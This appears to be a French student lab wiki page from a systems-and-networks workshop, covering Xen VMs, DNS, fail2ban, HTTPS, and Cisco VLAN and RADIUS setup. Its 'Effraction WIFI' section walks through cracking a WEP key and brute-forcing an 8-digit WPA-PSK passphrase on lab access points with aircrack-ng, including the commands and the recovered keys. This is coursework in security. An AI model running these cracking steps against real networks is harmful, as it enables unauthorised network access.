@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12263</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12263"/>
		<updated>2026-02-12T15:56:16Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
